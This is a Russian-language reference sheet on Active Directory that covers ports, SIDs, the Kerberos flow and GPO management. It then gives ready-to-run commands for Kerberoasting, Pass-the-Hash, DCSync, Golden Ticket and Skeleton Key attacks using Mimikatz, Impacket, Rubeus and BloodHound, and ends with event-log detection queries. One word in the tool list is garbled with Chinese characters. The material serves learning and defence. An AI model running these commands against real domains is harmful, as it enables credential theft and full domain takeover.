Структура, компоненты, Kerberos, GPO и атаки на AD
Active Directory (AD) — служба каталогов Microsoft для централизованного управления пользователями, компьютерами, политиками и ресурсами в корпоративной сети. Основа инфраструктуры Windows-доменов.
Протокол доступа к каталогам (389/636)
Протокол аутентификации (88)
Разрешение имён домена (53)
# Основные порты Active Directory LDAP 389 // Незашифрованный доступ к каталогу LDAPS 636 // Зашифрованный LDAP (SSL/TLS) Kerberos 88 // Аутентификация (TCP/UDP) DNS 53 // Разрешение имён SMB 445 // Файловые шары, SYSVOL, NETLOGON GC 3268 // Global Catalog GC (SSL) 3269 // Global Catalog over SSL RPC 135 // Remote Procedure Call WinRM 5985/5986 // Удалённое управление
Сервер, хранящий копию AD-базы. Обрабатывает аутентификацию и репликацию.
Часть DC с частичной копией всех объектов леса. Порт 3268.
Общая папка с GPO-скриптами. Реплицируется через DFS-R.
Файл БД: C:\Windows\NTDS\ntds.dit
# Встроенные well-known SID-ы S-1-5-32-544 — Administrators S-1-5-32-545 — Users S-1-5-32-548 — Account Operators S-1-5-32-549 — Server Operators S-1-5-32-551 — Backup Operators S-1-5-18 — SYSTEM (Local System) S-1-5-19 — LOCAL SERVICE S-1-5-domain-500 — Administrator (встроенный) S-1-5-domain-502 — KRBTGT (Kerberos TGT)
Kerberos — протокол аутентификации по тикетам. Пользователь не отправляет пароль напрямую — вместо этого получает TGT (Ticket Granting Ticket), которым запрашивает доступ к сервисам.
1. AS-REQ (Authentication Service Request) User → KDC: "Я пользователь X, дайте мне TGT" Отправляет: username + timestamp, зашифрованный паролем 2. AS-REP (Authentication Service Reply) KDC → User: "Вот ваш TGT" TGT зашифрован ключом KRBTGT — пользователь не может открыть 3. TGS-REQ (Ticket Granting Service Request) User → KDC: "У меня есть TGT, дайте мне доступ к cifs/dc01.corp.local" Прикрепляет TGT 4. TGS-REP (Ticket Granting Service Reply) KDC → User: "Вот ваш Service Ticket" ST зашифрован NTLM-хешем целевого сервиса 5. AP-REQ (Application Protocol Request) User → Service: "Вот мой Service Ticket" Сервис расшифровывает и проверяет
C:\Users\<user>\AppData\Local\Microsoft\Windows\INetCache\*.krbtgt*klistNTDS.dit (только на DC)GPO — набор политик, применяемых к компьютерам и пользователям. Хранятся в SYSVOL и реплицируются между DC. Управление через GPMC.msc или PowerShell.
# PowerShell: управление GPO # Посмотреть все GPO PS> Get-GPO -All | Select-Object DisplayName, Id, CreationTime # Экспорт GPO PS> Backup-GPO -Name "Default Domain Policy" -Path "C:\GPOBackup" # Создать GPO и привязать к OU PS> New-GPO -Name "Security Hardening" | New-GPLink -Target "OU=Servers,DC=corp,DC=local" # Посмотреть применённые GPO PS> gpresult /r /scope:computer PS> gpresult /h report.html # Принудительное обновление PS> gpupdate /force
Получение Service Ticket для сервисного аккаунта и offline-взлом пароля.
# Impacket: запрос ST impacket-GetUserSPNs corp.local/user:pass -request # Crack TGS offline hashcat -m 13100 hash.txt rockyou.txt # PowerShell (Rubeus) Rubeus.exe kerberoast /outfile:hash.txt
⚠️ Любой пользователь может запрашивать ST для сервисных аккаунтов!
Использование NTLM-хеша без знания пароля для аутентификации.
# Impacket: PtH impacket-psexec corp.local/admin@dc01 -hashes aad3b435...:f0363... # CrackMapExec crackmapexec smb 10.10.10.1 -u admin -H aad3b435...:f0363... # Mimikatz sekurlsa::pth /user:admin /domain:corp.local /ntlm:f0363...
⚠️ NTLM-хеш = эквивалент пароля!
Эмуляция DC для получения хешей всех пользователей.
# Mimikatz: извлечь все хеши lsadump::dcsync /domain:corp.local /all # Impacket impacket-secretsdump corp.local/admin:pass@dc01 # Важно: нужен rights Replicating Changes
⚠️ Требует прав DS-Replication-Get-Changes-All!
Фейковый TGT с ключом KRBTGT — полный контроль леса.
# Mimikatz: создать Golden Ticket kerberos::golden /user:Administrator /domain:corp.local ` /sid:S-1-5-21-... /krbtgt:f0363... /ptt # Impacket impacket-ticketer -nthash f0363... -domain-sid S-1-5-21-... ` -domain corp.local Administrator
⚠️ Нужен NTLM-хеш KRBTGT (2 раза сбросить!)
Внедрение в память DC — пароль "mimikatz" для всех аккаунтов.
# Mimikatz на DC (in-memory) misc::skeleton # Теперь любой аккаунт + пароль "mimikatz" net use \\dc01\c$ /user:corp\admin mimikatz
⚠️ Временная атака — исчезает после перезагрузки DC
Анализ векторов атаки и визуализация отношений в AD.
# SharpHound: сбор данных SharpHound.exe -c All -d corp.local # BloodHound Python bloodhound-python -u user -p pass -d corp.local -ns 10.10.10.1 # Neo4j + Web UI для анализа # Поиск shortest path to Domain Admin
💡 Ищет Shortest Path to Domain Admin
# Поиск Kerberoasting (Event 4769 с кодом 0x0) PS> Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4769} | Where-Object { $_.Properties[6].Value -eq "0x0" } | Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='SPN';E={$_.Properties[2].Value}} # Поиск DCSync (репликация) PS> Get-WinEvent -FilterHashtable @{LogName='Directory Service'; Id=4662} | Where-Object { $_.Properties[3].Value -match "Replicating" } # Список сервисных аккаунтов с SPN PS> Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName | Select-Object Name, ServicePrincipalName # Проверка пароля KRBTGT PS> Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet
Анализ векторов атаки, визуализация AD
Сбор данных для BloodHound
Атаки на Kerberos
Извлечение хешей, PtH,骨骼ные ключи
psexec, secretsdump, GetUserSPNs
Сетевой аудит, PtH, enumeration
Отчёт по состоянию AD
Аудит безопасности AD
Запросы LDAP (Linux)